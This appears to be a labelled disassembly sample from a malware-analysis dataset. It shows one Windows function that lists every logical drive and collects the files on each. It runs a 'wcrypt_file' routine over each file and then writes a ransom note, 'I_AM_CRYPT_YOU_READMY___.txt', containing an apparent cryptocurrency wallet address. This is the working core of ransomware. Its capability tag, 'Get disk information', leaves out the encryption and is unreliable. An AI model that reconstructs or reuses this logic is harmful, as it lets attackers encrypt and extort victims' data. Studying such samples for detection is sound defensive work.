Function at 0x40210b
Capabilities:
Get disk information

Disassembly:
push rbp
push rbx
sub rsp, 0x308
lea rbp, [rsp + 0x80]
call sym.__main
lea rdx, [0x004a91b4]
mov ecx, 0
call sym.setlocale
lea rax, [rbp + 0x1f0]
mov rdx, rax
mov ecx, 0x1a
mov rax, qword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
call rax
lea rax, str.Unknown
mov qword [rbp + 0x1b0], rax
lea rax, str.Invalid_path
mov qword [rbp + 0x1b8], rax
lea rax, str.Removable
mov qword [rbp + 0x1c0], rax
lea rax, str.Fixed
mov qword [rbp + 0x1c8], rax
lea rax, str.Network_drive
mov qword [rbp + 0x1d0], rax
lea rax, str.CD_ROM
mov qword [rbp + 0x1d8], rax
lea rax, str.RAM_disk
mov qword [rbp + 0x1e0], rax
lea rax, [rbp + 0x1f0]
mov qword [rbp + 0x278], rax
mov rax, qword [rbp + 0x278]
movzx eax, byte [rax]
test al, al
je 0x402457
lea rax, [rbp + 0x20e]
mov rcx, rax
call fcn.00460a10
lea rcx, [rbp + 0x20e]
mov rdx, qword [rbp + 0x278]
lea rax, [rbp - 0x60]
mov r8, rcx
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string(char const*, std::allocator<char> const&)
lea rax, [rbp + 0x20e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x20f]
mov rcx, rax
call fcn.00460a70
lea rax, [rbp - 0x60]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::end()
mov rbx, rax
lea rax, [rbp - 0x60]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::begin()
mov rcx, rax
lea rdx, [rbp + 0x20f]
lea rax, [rbp - 0x40]
mov r9, rdx
mov r8, rbx
mov rdx, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string___gnu_cxx::__normal_iterator_char__std::__cxx11::basic_string_char__std::char_traits_char___std.allocator_char_______void____gnu_cxx::__normal_i
lea rax, [rbp + 0x20f]
mov rcx, rax
call sym.std::allocator_wchar_t_::allocator__
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0x210]
mov rcx, rax
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::basic_string(std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> > const&)
lea rax, [rbp + 0x210]
mov rcx, rax
call dbg.files(std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >)
lea rax, [rbp + 0x210]
mov rcx, rax
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::~basic_string()
mov dword [rbp + 0x274], 0
mov eax, dword [rbp + 0x274]
movsxd rbx, eax
lea rcx, [0x004d4030]
call dbg.std::vector<std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >, std::allocator<std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> > > >::size() const
cmp rbx, rax
setb al
test al, al
je 0x40230f
mov eax, dword [rbp + 0x274]
cdqe
mov rdx, rax
lea rcx, [0x004d4030]
call dbg.std::vector<std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >, std::allocator<std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> > > >::operator[](unsigned long long)
mov rdx, rax
lea rax, [rbp + 0x230]
mov rcx, rax
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::basic_string(std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> > const&)
lea rax, [rbp + 0x230]
mov rcx, rax
call dbg.wcrypt_file(std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >)
mov dword [rbp + 0x270], eax
lea rax, [rbp + 0x230]
mov rcx, rax
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::~basic_string()
add dword [rbp + 0x274], 1
jmp 0x40229a
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.00482160
lea rax, [rbp + 0x250]
lea rdx, [rbp - 0x60]
lea r8, str.I_AM_CRYPT_YOU_READMY___.txt
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rdx, [rbp + 0x250]
lea rax, [rbp - 0x20]
mov r8d, 0x10
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.open_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::_Ios_Openmode_
lea rax, [rbp + 0x250]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()
lea rax, [rbp - 0x20]
lea rdx, [0x004a9218]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp - 0x20]
lea rdx, [0x004a9238]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp - 0x20]
lea rdx, str.43QDjGmvDM9XyMNTZAV5SjE9bm5SnjpgaJidR3yeHeUxShmaodCz2TYCdiLqHWyVetEVRdwxVzDqkQbSZpvEf4oKDr6hs7G_n
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp - 0x20]
lea rdx, [0x004a92f0]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp - 0x20]
lea rdx, [0x004a9328]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp - 0x20]
lea rdx, [0x004a9378]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp - 0x20]
lea rdx, [0x004a93d0]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp - 0x20]
lea rdx, [0x004a9418]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp - 0x20]
lea rdx, [0x004a9460]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.close__
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.00482640
lea rax, [rbp - 0x40]
mov rcx, rax
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::~basic_string()
lea rax, [rbp - 0x60]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()
mov rax, qword [rbp + 0x278]
mov rcx, rax
call sym.strlen
add rax, 1
add qword [rbp + 0x278], rax
jmp 0x4021ba
mov eax, 0
jmp 0x402505
add rsp, 0x308
pop rbx
pop rbp
ret